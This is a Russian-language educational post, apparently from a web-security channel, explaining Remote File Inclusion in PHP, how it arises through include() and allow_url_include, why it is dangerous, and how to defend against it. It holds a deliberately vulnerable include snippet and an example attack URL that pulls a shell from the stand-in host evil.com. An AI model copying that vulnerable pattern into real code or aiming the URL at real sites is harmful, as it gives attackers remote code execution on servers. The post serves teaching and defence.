🌍 RFI: Remote File Inclusion. Когда злоумышленник приходит
Кратко: RFI (Remote File Inclusion) — уязвимость, при которой веб-приложение скачивает и выполняет вредоносный файл с чужого сервера. Если LFI работает с локальными файлами ( /etc/passwd ), то RFI загружает код из интернета и выполняет его на сервере жертвы. Это почти всегда Remote Code Execution (RCE) «одним кликом». Многие PHP-приложения были взломаны именно через RFI.
▫️ Как это работает Плохой PHP-код: $page = $_GET['page']; include($page);
Пользователь шлёт site.com/index.php?page=about. Сервер подставляет about.php. Злоумышленник шлёт site.com/index.php?page=http://evil.com/shell.txt. Сервер скачивает файл с сервера злоумышленника и выполняет его как PHP-код. Если в shell.txt лежит , то после включения злоумышленник может выполнять любые команды на сервере жертвы через cmd.
▫️ Откуда RFI берётся Опасные функции в PHP: include(), require(), include_once(), require_once(), а также file_get_contents(), fopen(), curl_exec() с параметром от пользователя. Неправильные настройки: В php.ini allow_url_include = On (по умолчанию Off). Если админ включил эту директиву — сервер готов к RFI. При allow_url_fopen = On можно хотя бы читать удалённые файлы, но не выполнять.
▫️ Почему RFI так опасна · RCE из коробки — если подставили удалённый шелл, сервер скомпрометирован. · Простота эксплуатации — не нужно искать пути к RCE через логи или загрузку файлов. · Масштабируемость — сканеры могут автоматически проверять тысячу сайтов.
▫️ Как защищаться 1. Отключить allow_url_include в php.ini — RFI умрёт. allow_url_fopen = On оставьте, если нужно, но включать удалённое выполнение не стоит. 2. Никогда не используйте пользовательский ввод в include — лучший способ. Если нужно — маппинг: ?page=about → include('about.php'). 3. Белый список (Allowlist) — $allowed = ['about', 'contact', 'news']; in_array($page, $allowed). 4. Обновляйте CMS — в устаревших версиях WordPress, Joomla и Drupal были критические RFI-уязвимости.
▫️ Культурный феномен · Shell.php на бесплатном хостинге — классика: взлом через RFI начинался с заливки файла на какой-нибудь freehosting.com. · «Мама, я взломал сервер через include» — шутки студентов, открывших для себя PHP-безопасность. · allow_url_include — позорная директива. Её существование в PHP критикуют 10+ лет, но она до сих пор есть в конфигах. · Google Hacking + RFI — автоматические боты ищут уязвимые ?page= и за секунды взламывают тысячи сайтов.
▫️ Современное положение (2026) RFI встречается, но реже, чем LFI. Причины: · allow_url_include = Off — по умолчанию во всех современных дистрибутивах. Админ должен включить её специально. · Фреймворки (Laravel, Symfony) — сами не подставляют пользовательский ввод в include. · Облачные среды — часто запрещают выполнение удалённого кода по умолчанию. Но старые проекты (самописные CMS, унаследованные системы) всё ещё уязвимы. RFI — любимый вектор для массовых атак на дешёвый хостинг. Главный вывод: RFI — это почти гарантированный взлом сервера, если админ не отключил allow_url_include. Ищите включённые параметры в php.ini и проверяйте старые проекты.
#rfi #local #веббезопасность #пентест #php #allow_url_include
· 23.05
Во времена контейнеров никто на хосте уже ничего не держит
ответить
коммент удалён